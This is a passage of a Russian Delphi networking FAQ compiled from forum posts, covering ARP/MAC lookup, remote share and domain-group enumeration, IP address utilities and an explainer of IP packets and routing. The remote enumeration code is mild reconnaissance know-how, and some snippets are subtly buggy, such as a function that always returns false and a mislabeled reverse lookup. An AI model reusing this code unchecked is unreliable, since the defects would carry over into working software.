// (что само по себе геморой, если не принимать во внимание,
// что IPX уже практически вымер, и его мало где встретишь).
// Здесь же строится полная ARP таблица, на основании которой мы
// можем спокойно произвести выборку по нужному IP адресу,
// а так как все берется из кэша, то мы сможем узнать МАС адреса
// даже выключенных компьютеров...
// Единственный минус: в таблице (не всегда) отсутсвует информация
// по локальному компьютеру, т.е. таким образом можно получить
// все МАС адреса за исключением своего,
// но для этого есть уже другие функции...

// Приведу выдержку из MSDN:
// You can use IP Helper to perform Address Resolution Protocol (ARP) operations for the local computer.
// Use the following functions to retrieve and modify the ARP table.
// The GetIpNetTable retrieves the ARP table.
// The ARP table contains the mapping of IP addresses to physical addresses.
// Physical addresses are sometimes referred to as Media Access Controller (MAC) addresses.

// Хочу заметить что для NT есть очень интересная функция SendARP - позволяющая
// напрямую получить требуемый МАС без построения таблицы, поэтому советую
// модифицировать код программы для более эффективного исполнения участков кода
// под различными системами.

function TMainForm.GetMacFromIP(const IP: String): String;

  // (Будем использовать функцию приведения из статьи)
  // В качестве первого значения массив, второе значение,
  // размер данных в массиве
  function GetMAC(Value: TMacAddress; Length: DWORD): String;
  var
    I: Integer;
  begin
    if Length = 0 then Result := '00-00-00-00-00-00' else
    begin
      Result := '';
      for i:= 0 to Length -2 do
        Result := Result + IntToHex(Value[i], 2) + '-';
      Result := Result + IntToHex(Value[Length-1], 2);
    end;
  end;

  // Получаем IP адрес, заметь в отличии от работы с классом WC_IPADDRESS
  // здесь преобразование идет в обратном порядке!
  function GetDottedIPFromInAddr(const InAddr: Integer): String;
  begin
    Result := '';
    Result := IntToStr(FOURTH_IPADDRESS(InAddr));
    Result := Result + '.' + IntToStr(THIRD_IPADDRESS(InAddr));
    Result := Result + '.' + IntToStr(SECOND_IPADDRESS(InAddr));
    Result := Result + '.' + IntToStr(FIRST_IPADDRESS(InAddr));
  end;

  // Основная функция
var
  Table: TMibIPNetTable;
  Size: Integer;
  CatchIP: String;
  Err, I: Integer;
begin
  Result := RES_UNKNOWN;
  Size := SizeOf(Table);                      // Ну тут все просто...
  Err := GetIpNetTable(@Table, @Size, False); // Выполняем...
  if Err <> NO_ERROR then                     // Проверка на ошибку...
  begin
    ShowMessage(SysErrorMessage(GetLastError));
    Exit;
  end;
  // Теперь мы имеем таблицу из IP адресов и соответсвующих им MAC адресов
  for I := 0 to Table.dwNumEntries - 1 do     // Ищем нужный IP ...
  begin
    CatchIP := GetDottedIPFromInAddr(Table.Table[I].dwAddr);
    if CatchIP = IP then                      // И выводим его МАС ...
    begin
      Result := GetMAC(Table.Table[I].bPhysAddr, Table.Table[I].dwPhysAddrLen);
      Break;
    end;
  end;
end;

// Полуение доступных сетевых ресурсов на удаленном компьютере
function TMainForm.GetShares(const CompName: String): String;
type TShareInfo1Array = array of TShareInfo1;
var
  entriesread, totalentries: DWORD;
  Info: Pointer;
  I: Integer;
  CN: PWideChar;
begin
  CN := StringToOleStr(CompName);
  // так как нам нужны только имена ресурсов, воспользуемся струтурой TShareInfo1
  // тогда, не нужно будет получать привилегии администратора на удаленной машине :)
  if NetShareEnum(CN, 1, Info, DWORD(-1), @entriesread,
    @totalentries, nil) = 0 then
    try // список ресурсов смотрим здесь
      if entriesread > 0 then
        for I := 0 to entriesread - 1 do
          Result := Result + TShareInfo1Array(@(Info^))[I].shi1_netname + ' ';
    finally
      NetApiBufferFree(Info);
    end;
end;

// Вот таким простым путем будем получать имя сервера домена
function TMainForm.GetDomainServer(const DomainName: String): String;
var
   pwDomain:pWideChar;
   pwServer:pWideChar;
begin
   GetMem(pwDomain, 512);
   GetMem(pwServer, 512);
   StringToWideChar(DomainName, pwDomain, 255);
   NetGetAnyDCName(nil, pwDomain, @pwServer);
   Result := WideCharToString(pwServer);
   NetApiBufferFree(pwServer);
   FreeMem(pwDomain, 512);
end;

// перечисление доменных групп в которые входит пользователь
function TMainForm.GetGroups(DomainServer: String; UserName: String): String;
type
  TGroupUsersInfoArray = array of TGroupUsersInfo0;
var
  Info: PGroupUsersInfo0;
  Sn, Un: PWideChar;
  entriesread, totalentries: DWORD;
  I, A, B, Size: Integer;
  P: Pointer;
begin
  // нам нужно только имя сервера домена
  Sn := StringToOLEStr(DomainServer);
  // и имя пользователя
  Un := StringToOleStr(UserName);
  // делаем запрос
  if NetUserGetGroups(Sn, Un, 0, @Info, DWORD(-1), entriesread, totalentries) = NO_ERROR  then
  try // и смотрим, что там у нас получилось
    if entriesread > 0 then
      for I := 0 to entriesread - 1 do
        Result := Result + TGroupUsersInfoArray(@(Info^))[I].grui0_name + ' ';
  finally
    NetApiBufferFree(Info);
  end;
end;

end.

Автор Rouse_
Взято из http://forum.sources.ru


Протоколы

Cодержание раздела:

Работа с TCP/IP
· Как оперделить все IP и порты на моем компьютере?
· Подключен ли в своем компе протокол TCP/IP?
· Как вычислить IP адрес компьютера?
· Получение IP-адреса и маски для всех сетевых интерфейсов
· Как вычислить IP-адрес по доменному имени
· Преобразуем доменное имя в IP адрес
· Как преобразовать http://192.168.1.2 в http://3232235778 ?
· Как преобразовать длинный IP адрес в короткий адрес / порт ?
· Как узнать IP адрес?
· Что такое протокол межсетевого взаимодействия IP?
· Как по IP адресу получить HostName (и обратно)

Работа с Ping
· Как сделать PING?

Работа с HTTP
· Использование HTTP в Delphi
· Пример простейшего HTTP сервера

Работа с FTP
· Как загрузить файл?
· Пример FTP сервера
· Коннект к серверу и загрузка файла (используя wininet.dll)

Работа с ICQ
· Как послать сообщение?

Работа с Telnet
· Управление приложением через Telnet

Работа с ARP
· Описание протокола ARP (Address Resolution Protocol)

Работа с SSH
· Описание протокола SSH (Secure Shell)

См. также статьи в других разделах:
Как использовать протокол about?
Как использовать протокол res?
Описание протокола DNS New!


Работа с TCP/IP

Cодержание раздела:

Как оперделить все IP и порты на моем компьютере?
Подключен ли в своем компе протокол TCP/IP?
Как вычислить IP адрес компьютера?
Получение IP-адреса и маски для всех сетевых интерфейсов
Как вычислить IP-адрес по доменному имени
Преобразуем доменное имя в IP адрес
Как преобразовать http://192.168.1.2 в http://3232235778 ?
Как преобразовать длинный IP адрес в короткий адрес / порт ?
Как узнать IP адрес?
Что такое протокол межсетевого взаимодействия IP?
Как по IP адресу получить HostName (и обратно)
Трассировка пути до определенного IP адреса (Traceroute) New!
Как узнать IP клиента и IP сервера для активного RAS-подключения? New!


Как оперделить все IP и порты на моем компьютере?

Функции GetTcpTable, GetUdpTable.

Импорт GetTcpTable:

unit TcpTable;
interface
type
  PDWord = ^Longword;
  PMIB_TCPROW = ^TMIB_TCPROW;
  TMIB_TCPROW = record
    dwState: LongWord;
    dwLocalAddr: LongWord;
    dwLocalPort: LongWord;
    dwRemoteAddr: LongWord;
    dwRemotePort: LongWord;
  end;
  PMIB_TCPTABLE = ^TMIB_TCPTABLE;
  TMIB_TCPTABLE = record
    dwNumEntries: LongWord;
    table: array[0..0] of TMIB_TCPROW;
  end;
function GetTcpTable(var TcpTable: PMIB_TCPTABLE; var Size: PDWord; bOrder: Boolean): LongWord; stdcall
implementation
function GetTcpTable; external 'Iphlpapi.dll' name 'GetTcpTable';
end.

Вызов GetTcpTable:

{$R-}
    Entries:=16;
    Sz:=SizeOf(TMIB_TCPTABLE)+SizeOf(TMIB_TCPROW)*(Entries-1);
    pMibTable:=nil;
    try
     repeat
       ReallocMem(pMibTable,Sz);
       Res:=GetTcpTable(pMibTable^,Sz,False);
     until Res <> ERROR_INSUFFICIENT_BUFFER;
     if Res <> NO_ERROR then
      begin
       ShowMessage(SysErrorMessage(Res));
       exit;
      end;
     for Entries:=0 to pMibTable.dwNumEntries-1 do
      begin
         <Делать что-то>
      end;
    finally
     FreeMem(pMibTable);
    end;
{$R+}

Автор Spawn
Взято с Vingrad.ru http://forum.vingrad.ru


Подключен ли в своем компе протокол TCP/IP?

Думаю что надёжнее всего "ping 127.0.0.1" потому что другие методы не дадут уверенности что протокол работает нормально.

Почему именно ping 127.0.0.1?

127.0.0.1 - или по другому localhost - это предопределённый протоколом TCP/IP собственный (внутренний) адрес компьютера, так что если TCP/IP установлен и работает, то этот адрес точно есть и должен пинговаться без проблем, кроме того он пингуется без выхода в сеть, и удобен если надо отличить неработоспособность протокола (драйвера) от поломок вне компьютера(хаб, свич, разъёмы, провода, сервера, другие компьютеры).

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

uses Registry;

function TCPIPInstalled: boolean;
var
  Reg:   TRegistry;
  RKeys: TStrings;
begin
 Result:=False;
 try
  Reg := TRegistry.Create;
  RKeys := TStringList.Create;
  Reg.RootKey:=HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\Enum\Network\MSTCP', False) Then
   begin
     reg.GetKeyNames(RKeys);
     Result := RKeys.Count > 0;
   end;
 finally
  Reg.free;
  RKeys.free;
 end;
Взято из http://forum.sources.ru


Как вычислить IP адрес компьютера?

Описывается функция, которая показывает, как вычислить IP адрес компьютера в интернете по его доменному имени.

Совместимость: Delphi 3.x (или выше)

Объявляем Winsock, для использования в функции

function HostToIP(Name: string; var Ip: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
  if Assigned (hostEnt^.h_addr_list) then
    begin
      addr := hostEnt^.h_addr_list^;
if Assigned (addr) then
begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else
begin
Result := False;
end;
finally
  WSACleanup;
end
end;

Вы можете разметстить на форме EditBox, Кнопку и Label и добавить к кнопке следующий обработчик события OnClick:

procedure TForm1.Button1Click(Sender: TObject);
var
  IP: string;
begin
  if HostToIp(Edit1.Text, IP) then Label1.Caption := IP;
end;

Автор ответа: neutrino
Взято с Vingrad.ru http://forum.vingrad.ru

А вот какой способ предложен для нахождения собственного IP рассылкой мастеров дельфи http://Subscribe.Ru/catalog/comp.soft.prog.mdelphi():

var
  WSAData: TWSAData;
  SockAddrIn: TSockAddrIn;
  Host: PHostEnt;
  // Эти переменные объявлены в Winsock.pas
begin
  if WSAStartup($101, WSAData) = 0 then begin
    Host := GetHostByName(@Localname[1]);
    if Host<>nil then begin
      SockAddrIn.sin_addr.S_addr:= longint(plongint(Host^.h_addr_list^)^);
      LocalIP := inet_ntoa(SockAddrIn.sin_addr);
    end;
    WSACleanUp;
  end;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Получение IP-адреса и маски для всех сетевых интерфейсов

Автор: Giannis Sampaziotis

Существует множество методов получения IP адреса компьютера. Но данный пример представляет наиболее корректный способ получения всех адресов, сетевых масок, broadcast адресов и статусов для всех интерфейсов включая циклический 127.0.0.1 - требует WinSock 2.

Совместимость: Delphi 3.х (или выше)

Это завершённый Delphi компонент. Для его использования достаточно вызвать :

EnumInterfaces(var s string): Boolean;

которая вернёт строку, разделённую CRLF и содержащую всё, нужную нам информацию.

unit USock;

interface

uses Windows, Winsock;

{

  Если Вы поместите строку результатов в wide TMEMO (в его свойство memo.lines.text)
  то никаких результатов не увидите.

  Тестировалось на Win98/ME/2K, 95 OSR 2 и NT service
  pack #3 , потому что используется WinSock 2 (WS2_32.DLL)

}

function EnumInterfaces(var sInt: string): Boolean;

{ функция WSAIOCtl импортируется из Winsock 2.0 - Winsock 2 доступен }
{ только в Win98/ME/2K и 95 OSR2, NT srv pack #3 }

function WSAIoctl(s: TSocket; cmd: DWORD; lpInBuffer: PCHAR; dwInBufferLen:
  DWORD;
  lpOutBuffer: PCHAR; dwOutBufferLen: DWORD;
  lpdwOutBytesReturned: LPDWORD;
  lpOverLapped: POINTER;
  lpOverLappedRoutine: POINTER): Integer; stdcall; external 'WS2_32.DLL';

{ Константы взятые из заголовка C файлов }

const SIO_GET_INTERFACE_LIST = $4004747F;
  IFF_UP = $00000001;
  IFF_BROADCAST = $00000002;
  IFF_LOOPBACK = $00000004;
  IFF_POINTTOPOINT = $00000008;
  IFF_MULTICAST = $00000010;

type sockaddr_gen = packed record
    AddressIn: sockaddr_in;
    filler: packed array[0..7] of char;
  end;

type INTERFACE_INFO = packed record
    iiFlags: u_long; // Флаги интерфейса
    iiAddress: sockaddr_gen; // Адрес интерфейса
    iiBroadcastAddress: sockaddr_gen; // Broadcast адрес
    iiNetmask: sockaddr_gen; // Маска подсети
  end;

implementation

{-------------------------------------------------------------------

1. Открываем WINSOCK
2. Создаём сокет
3. Вызываем WSAIOCtl для доступа к сетевым интерфейсам
4. Для каждого интерфейса, получаем IP, MASK, BROADCAST, статус
5. Разделяем строку символом CRLF
6. Конец :)

--------------------------------------------------------------------}

function EnumInterfaces(var sInt: string): Boolean;
var s: TSocket;
  wsaD: WSADATA;
  NumInterfaces: Integer;
  BytesReturned, SetFlags: u_long;
  pAddrInet: SOCKADDR_IN;
  pAddrString: PCHAR;
  PtrA: pointer;
  Buffer: array[0..20] of INTERFACE_INFO;
  i: Integer;
begin
  result := true;                                // Инициализируем переменную
  sInt := '';

  WSAStartup($0101, wsaD);                      // Запускаем WinSock
                                                // Здесь можно дабавить различные обработчики ошибки :)

  s := Socket(AF_INET, SOCK_STREAM, 0);          // Открываем сокет
  if (s = INVALID_SOCKET) then exit;

  try                                            // Вызываем WSAIoCtl
    PtrA := @bytesReturned;
    if (WSAIoCtl(s, SIO_GET_INTERFACE_LIST, nil, 0, @Buffer, 1024, PtrA, nil,
      nil)
      <> SOCKET_ERROR)
      then
    begin                                        // Если OK, то определяем количество существующих интерфейсов

      NumInterfaces := BytesReturned div SizeOf(INTERFACE_INFO);

      for i := 0 to NumInterfaces - 1 do        // Для каждого интерфейса
      begin
        pAddrInet := Buffer[i].iiAddress.addressIn;            // IP адрес
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' IP=' + pAddrString + ',';
        pAddrInet := Buffer[i].iiNetMask.addressIn;            // Маска подсети
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' Mask=' + pAddrString + ',';
        pAddrInet := Buffer[i].iiBroadCastAddress.addressIn;  // Broadcast адрес
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' Broadcast=' +  pAddrString + ',';

        SetFlags := Buffer[i].iiFlags;
        if (SetFlags and IFF_UP) = IFF_UP then
          sInt := sInt + ' Interface UP,'                    // Статус интерфейса up/down
        else
          sInt := sInt + ' Interface DOWN,';

        if (SetFlags and IFF_BROADCAST) = IFF_BROADCAST then  // Broadcasts
          sInt := sInt + ' Broadcasts supported,'              // поддерживает или
        else                                                  // не поддерживается
          sInt := sInt + ' Broadcasts NOT supported,';

        if (SetFlags and IFF_LOOPBACK) = IFF_LOOPBACK then    // Циклический или
          sInt := sInt + ' Loopback interface'
        else
          sInt := sInt + ' Network interface';                  // нормальный

        sInt := sInt + #13#10;                                // CRLF между каждым интерфейсом
      end;
    end;
  except
  end;
//
// Закрываем сокеты
//
  CloseSocket(s);
  WSACleanUp;
  result := false;
end;

end.
Взято из http://forum.sources.ru


Как вычислить IP-адрес по доменному имени

uses winsock
-------
function IPAddrToName(IPAddr : String): String;
var
  SockAddrIn: TSockAddrIn;
  HostEnt: PHostEnt;
  WSAData: TWSAData;
begin
  WSAStartup($101, WSAData);
  SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
  HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
  if HostEnt<>nil then
  begin
    result:=StrPas(Hostent^.h_name)
  end
  else
  begin
    result:='';
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption:=IPAddrToName(Edit1.Text);
end;

Взято из http://forum.sources.ru


Преобразуем доменное имя в IP адрес

Автор: Lutfi Baran

Описывается функция, которая показывает, как вычислить IP адрес компьютера в интернете по его доменному имени.

Совместимость: Delphi 3.x (или выше)

Объявляем Winsock, для использования в функции
............
function HostToIP(Name: string; var Ip: string): Boolean;
var
  wsdata : TWSAData;
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  WSAStartup ($0101, wsdata);
  try
    gethostname (hostName, sizeof (hostName));
    StrPCopy(hostName, Name);
    hostEnt := gethostbyname (hostName);
    if Assigned (hostEnt) then
      if Assigned (hostEnt^.h_addr_list) then begin
        addr := hostEnt^.h_addr_list^;
        if Assigned (addr) then begin
          IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
          byte (addr [1]), byte (addr [2]), byte (addr [3])]);
          Result := True;
        end
        else
          Result := False;
      end
      else
        Result := False
    else begin
      Result := False;
    end;
  finally
    WSACleanup;
  end
end;
................................
Вы можете разметстить на форме EditBox, Кнопку и Label и добавить к кнопке следующий обработчик события OnClick:

procedure TForm1.Button1Click(Sender: TObject);
var
IP: string;
begin
if HostToIp(Edit1.Text, IP) then Label1.Caption := IP;

Взято из http://forum.sources.ru


Как преобразовать http://192.168.1.2 в http://3232235778 ?

Автор: Roni Havas

Функция, представленная в этом примере может быть и не очень элегантна, зато работает. Функция получает в качестве параметра строку, содержащую IP адрес, и возвращает строку с IP адресом в виде DWord значения. Результат легко можно проверить командой "Ping".

Совместимость: Delphi (все версии)

Обратите внимание, что необходимо добавить "Math" в "Uses" для функции "IntPower";

function IP2HEX(OrgIP: string): string;
var OrgVal: string; // Сохраняем оригинальное значение IP адреса
  O1, O2, O3, O4: string; // части оригинального IP
  H1, H2, H3, H4: string; // шестнадцатиричные части
  HexIP: string; // Здесь будут собраны все шестнадцатиричные части
  XN: array[1..8] of Extended;
  Flt1: Extended;
  Xc: Integer;
begin

// Сохраняем в обратном порядке для простого случая
  Xn[8] := IntPower(16, 0); Xn[7] := IntPower(16, 1); Xn[6] := IntPower(16, 2); Xn[5] := IntPower(16, 3);
  Xn[4] := IntPower(16, 4); Xn[3] := IntPower(16, 5); Xn[2] := IntPower(16, 6); Xn[1] := IntPower(16, 7);

// Сохраняем оригинальный IP адрес
  OrgVal := OrgIP;
  O1 := Copy(OrgVal, 1, Pos('.', OrgVal) - 1); Delete(OrgVal, 1, Pos('.', OrgVal));
  O2 := Copy(OrgVal, 1, Pos('.', OrgVal) - 1); Delete(OrgVal, 1, Pos('.', OrgVal));
  O3 := Copy(OrgVal, 1, Pos('.', OrgVal) - 1); Delete(OrgVal, 1, Pos('.', OrgVal));
  O4 := OrgVal;

  H1 := IntToHex(StrToInt(O1), 2); H2 := IntToHex(StrToInt(O2), 2);
  H3 := IntToHex(StrToInt(O3), 2); H4 := IntToHex(StrToInt(O4), 2);

// Получаем шестнадцатиричное значение IP адреса
  HexIP := H1 + H2 + H3 + H4;

// Преобразуем это большое шестнадцатиричное значение в переменную Float
  Flt1 := 0;
  for Xc := 1 to 8 do
    begin
      case HexIP[Xc] of
        '0'..'9': Flt1 := Flt1 + (StrToInt(HexIP[XC]) * Xn[Xc]);
        'A': Flt1 := Flt1 + (10 * Xn[Xc]);
        'B': Flt1 := Flt1 + (11 * Xn[Xc]);
        'C': Flt1 := Flt1 + (12 * Xn[Xc]);
        'D': Flt1 := Flt1 + (13 * Xn[Xc]);
        'E': Flt1 := Flt1 + (14 * Xn[Xc]);
        'F': Flt1 := Flt1 + (15 * Xn[Xc]);
      end;
    end;
  Result := FloatToStr(Flt1);
end;

Взято из http://forum.sources.ru


Как преобразовать длинный IP адрес в короткий адрес / порт ?

Некоторые старые internet протоколы ( такие как FTP ) посылают IP адреса и номера портов в шестизначном формате XXX.XXX.XXX.XXX.XX.XXX Следующий код позволяет преобразовать такой адрес к нормальному четырёхзначному IP адресу.

procedure LongIPToShort(aLongIPAddress: string; out ShortIPAddress: string; out PortNumber: Integer);
var I, DotPos, tempPort: Integer;
var tempAddy, temp: string;
var TempStr: string;
begin
  tempAddy := '';
  tempStr := '';
// Определяем, какой символ использует отправитель в качестве разделителя длинного IP: , или .

  if (POS(',', aLongIPAddress) <> 0) then
    TempStr := ','
  else
    TempStr := '.';

  for I := 1 to 4 do
    begin
      DotPOS := POS(TempStr, aLongIPAddress);
      tempAddy := tempAddy + (Copy(aLongIPAddress, 1, (DotPos - 1)));
      if I <> 4 then TempADdy := TempAddy + '.';
      Delete(aLongIpAddress, 1, DotPos);
    end;
  DotPos := Pos(TempStr, aLongIpAddress);
  temp := Copy(aLongIpAddress, 1, (DotPos - 1));
  tempPort := (StrToInt(temp) * 256);
  Delete(aLongIpAddress, 1, DotPos);
  TempPort := tempPort + StrToInt(ALongIpAddress);
  ShortIPAddress := TempADdy;
  PortNumber := tempPort;
end;
Взято из http://forum.sources.ru


Как узнать IP адрес?

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\ (для 98-винды)
Ищем параметр IPAddress
Программно можно определить следующим образом:

var
  WSAData: TWSAData;
  p: PHostEnt;
  Name: array[0..$FF] of Char;
begin
  WSAStartup($0101, WSAData);
  GetHostName(name, $FF);
  p := GetHostByName(Name);
  showmessage(inet_ntoa(PInAddr(p.h_addr_list^)^));
  WSACleanup;
end;

Взято с сайта http://blackman.wp-club.net/


Что такое протокол межсетевого взаимодействия IP?

Основу транспортных средств стека протоколов TCP/IP составляет протокол межсетевого взаимодействия - Internet Protocol (IP). К основным функциям протокола IP относятся:

перенос между сетями различных типов адресной информации в унифицированной форме,
сборка и разборка пакетов при передаче их между сетями с различным максимальным значением длины пакета.
Формат пакета IP

Пакет IP состоит из заголовка и поля данных. Заголовок пакета имеет следующие поля:

Поле Номер версии (VERS) указывает версию протокола IP. Сейчас повсеместно используется версия 4 и готовится переход на версию 6, называемую также IPng (IP next generation).
Поле Длина заголовка (HLEN) пакета IP занимает 4 бита и указывает значение длины заголовка, измеренное в 32-битовых словах. Обычно заголовок имеет длину в 20 байт (пять 32-битовых слов), но при увеличении объема служебной информации эта длина может быть увеличена за счет использования дополнительных байт в поле Резерв (IP OPTIONS).
Поле Тип сервиса (SERVICE TYPE) занимает 1 байт и задает приоритетность пакета и вид критерия выбора маршрута. Первые три бита этого поля образуют подполе приоритета пакета (PRECEDENCE). Приоритет может иметь значения от 0 (нормальный пакет) до 7 (пакет управляющей информации). Маршрутизаторы и компьютеры могут принимать во внимание приоритет пакета и обрабатывать более важные пакеты в первую очередь. Поле Тип сервиса содержит также три бита, определяющие критерий выбора маршрута. Установленный бит D (delay) говорит о том, что маршрут должен выбираться для минимизации задержки доставки данного пакета, бит T - для максимизации пропускной способности, а бит R - для максимизации надежности доставки.
Поле Общая длина (TOTAL LENGTH) занимает 2 байта и указывает общую длину пакета с учетом заголовка и поля данных.
Поле Идентификатор пакета (IDENTIFICATION) занимает 2 байта и используется для распознавания пакетов, образовавшихся путем фрагментации исходного пакета. Все фрагменты должны иметь одинаковое значение этого поля.
Поле Флаги (FLAGS) занимает 3 бита, оно указывает на возможность фрагментации пакета (установленный бит Do not Fragment - DF - запрещает маршрутизатору фрагментировать данный пакет), а также на то, является ли данный пакет промежуточным или последним фрагментом исходного пакета (установленный бит More Fragments - MF - говорит о том пакет переносит промежуточный фрагмент).
Поле Смещение фрагмента (FRAGMENT OFFSET) занимает 13 бит, оно используется для указания в байтах смещения поля данных этого пакета от начала общего поля данных исходного пакета, подвергнутого фрагментации. Используется при сборке/разборке фрагментов пакетов при передачах их между сетями с различными величинами максимальной длины пакета.
Поле Время жизни (TIME TO LIVE) занимает 1 байт и указывает предельный срок, в течение которого пакет может перемещаться по сети. Время жизни данного пакета измеряется в секундах и задается источником передачи средствами протокола IP. На шлюзах и в других узлах сети по истечении каждой секунды из текущего времени жизни вычитается единица; единица вычитается также при каждой транзитной передаче (даже если не прошла секунда). При истечении времени жизни пакет аннулируется.
Идентификатор Протокола верхнего уровня (PROTOCOL) занимает 1 байт и указывает, какому протоколу верхнего уровня принадлежит пакет (например, это могут быть протоколы TCP, UDP или RIP).
Контрольная сумма (HEADER CHECKSUM) занимает 2 байта, она рассчитывается по всему заголовку.
Поля Адрес источника (SOURCE IP ADDRESS) и Адрес назначения (DESTINATION IP ADDRESS) имеют одинаковую длину - 32 бита, и одинаковую структуру.
Поле Резерв (IP OPTIONS) является необязательным и используется обычно только при отладке сети. Это поле состоит из нескольких подполей, каждое из которых может быть одного из восьми предопределенных типов. В этих подполях можно указывать точный маршрут прохождения маршрутизаторов, регистрировать проходимые пакетом маршрутизаторы, помещать данные системы безопасности, а также временные отметки. Так как число подполей может быть произвольным, то в конце поля Резерв должно быть добавлено несколько байт для выравнивания заголовка пакета по 32-битной границе.
Максимальная длина поля данных пакета ограничена разрядностью поля, определяющего эту величину, и составляет 65535 байтов, однако при передаче по сетям различного типа длина пакета выбирается с учетом максимальной длины пакета протокола нижнего уровня, несущего IP-пакеты. Если это кадры Ethernet, то выбираются пакеты с максимальной длиной в 1500 байтов, умещающиеся в поле данных кадра Ethernet.

Управление фрагментацией

Протоколы транспортного уровня (протоколы TCP или UDP), пользующиеся сетевым уровнем для отправки пакетов, считают, что максимальный размер поля данных IP-пакета равен 65535, и поэтому могут передать ему сообщение такой длины для транспортировки через интерсеть. В функции уровня IP входит разбиение слишком длинного для конкретного типа составляющей сети сообщения на более короткие пакеты с созданием соответствующих служебных полей, нужных для последующей сборки фрагментов в исходное сообщение.

В большинстве типов локальных и глобальных сетей определяется такое понятие как максимальный размер поля данных кадра или пакета, в которые должен инкапсулировать свой пакет протокол IP. Эту величину обычно называют максимальной единицей транспортировки - Maximum Transfer Unit, MTU. Сети Ethernet имеют значение MTU, равное 1500 байт, сети FDDI - 4096 байт, а сети Х.25 чаще всего работают с MTU в 128 байт.

Работа протокола IP по фрагментации пакетов в хостах и маршрутизаторах иллюстрируется рисунком 4.1.

Пусть компьютер 1 связан с сетью , имеющей значение MTU в 4096 байтов, например, с сетью FDDI. При поступлении на IP-уровень компьютера 1 сообщения от транспортного уровня размером в 5600 байтов, протокол IP делит его на два IP-пакета, устанавливая в первом пакете признак фрагментации и присваивая пакету уникальный идентификатор, например, 486. В первом пакете величина поля смещения равна 0, а во втором - 2800. Признак фрагментации во втором пакете равен нулю, что показывает, что это последний фрагмент пакета. Общая величина IP-пакета составляет 2800+20 (размер заголовка IP), то есть 2820 байтов, что умещается в поле данных кадра FDDI.

Далее компьютер 1 передает эти пакеты на канальный уровень К1, а затем и на физический уровень Ф1, который отправляет их маршрутизатору, связанному с данной сетью .

Маршрутизатор видит по сетевому адресу, что прибывшие два пакета нужно передать в сеть 2, которая имеет меньшее значение MTU, равное 1500. Вероятно, это сеть Ethernet. Маршрутизатор извлекает фрагмент транспортного сообщения из каждого пакета FDDI и делит его еще пополам, чтобы каждая часть уместилась в поле данных кадра Ethernet. Затем он формирует новые пакеты IP, каждый из которых имеет длину 1400 + 20 = 1420 байтов, что меньше 1500 байтов, поэтому они нормально помещаются в поле данных кадров Ethernet.

В результате в компьютер 2 по сети Ethernet приходит четыре IP-пакета с общим идентификатором 486, что позволяет протоколу IP, работающему в компьютере 2, правильно собрать исходное сообщение. Если пакеты пришли не в том порядке, в котором были посланы, то смещение укажет правильный порядок их объединения.

Отметим, что IP-маршрутизаторы не собирают фрагменты пакетов в более крупные пакеты, даже если на пути встречается сеть, допускающая такое укрупнение. Это связано с тем, что отдельные фрагменты сообщения могут перемещаться по интерсети по различным маршрутам, поэтому нет гарантии, что все фрагменты проходят через какой-либо промежуточный маршрутизатор на их пути.

При приходе первого фрагмента пакета узел назначения запускает таймер, который определяет максимально допустимое время ожидания прихода остальных фрагментов этого пакета. Если таймер истекает раньше прибытия последнего фрагмента, то все полученные к этому моменту фрагменты пакета отбрасываются, а в узел, пославший исходный пакет, направляется сообщение об ошибке с помощью протокола ICMP.

Маршрутизация с помощью IP-адресов

Рассмотрим теперь принципы, на основании которых в сетях IP происходит выбор маршрута передачи пакета между сетями.

Сначала необходимо обратить внимание на тот факт, что не только маршрутизаторы, но и конечные узлы - компьютеры - должны принимать участие в выборе маршрута. Пример, приведенный на рисунке 4.2, демонстрирует эту необходимость. Здесь в локальной сети имеется несколько маршрутизаторов, и компьютер должен выбирать, какому из них следует отправить пакет.

Длина маршрута может существенно измениться в зависимости от того, какой маршрутизатор выберет компьютер для передачи своего пакета на сервер, расположенный, например, в Германии, если маршрутизатор 1 соединен выделенной линией с маршрутизатором в Копенгагене, а маршрутизатор 2 имеет спутниковый канал, соединяющий его с Токио.

В стеке TCP/IP маршрутизаторы и конечные узлы принимают решения о том, кому передавать пакет для его успешной доставки узлу назначения, на основании так называемых таблиц маршрутизации (routing tables).

Следующая таблица представляет собой типичный пример таблицы маршрутов, использующей IP-адреса сетей:

Адрес сети
назначения Адрес следующего маршрутизатора Номер выходного
порта Расстояние до
сети назначения
56.0.0.0 198.21.17.7 1 20
56.0.0.0 213.34.12.4. 2 130
116.0.0.0 213.34.12.4 2 1450
129.13.0.0 198.21.17.6 1 50
198.21.17.0 - 2 0
213. 34.12.0 - 1 0
default 198.21.17.7 1 -

В этой таблице в столбце "Адрес сети назначения" указываются адреса всех сетей, которым данный маршрутизатор может передавать пакеты. В стеке TCP/IP принят так называемый одношаговый подход к оптимизации маршрута продвижения пакета (next-hop routing) - каждый маршрутизатор и конечный узел принимает участие в выборе только одного шага передачи пакета. Поэтому в каждой строке таблицы маршрутизации указывается не весь маршрут в виде последовательности IP-адресов маршрутизаторов, через которые должен пройти пакет, а только один IP-адрес - адрес следующего маршрутизатора, которому нужно передать пакет. Вместе с пакетом следующему маршрутизатору передается ответственность за выбор следующего шага маршрутизации. Одношаговый подход к маршрутизации означает распределенное решение задачи выбора маршрута. Это снимает ограничение на максимальное количество транзитных маршрутизаторов на пути пакета.
7
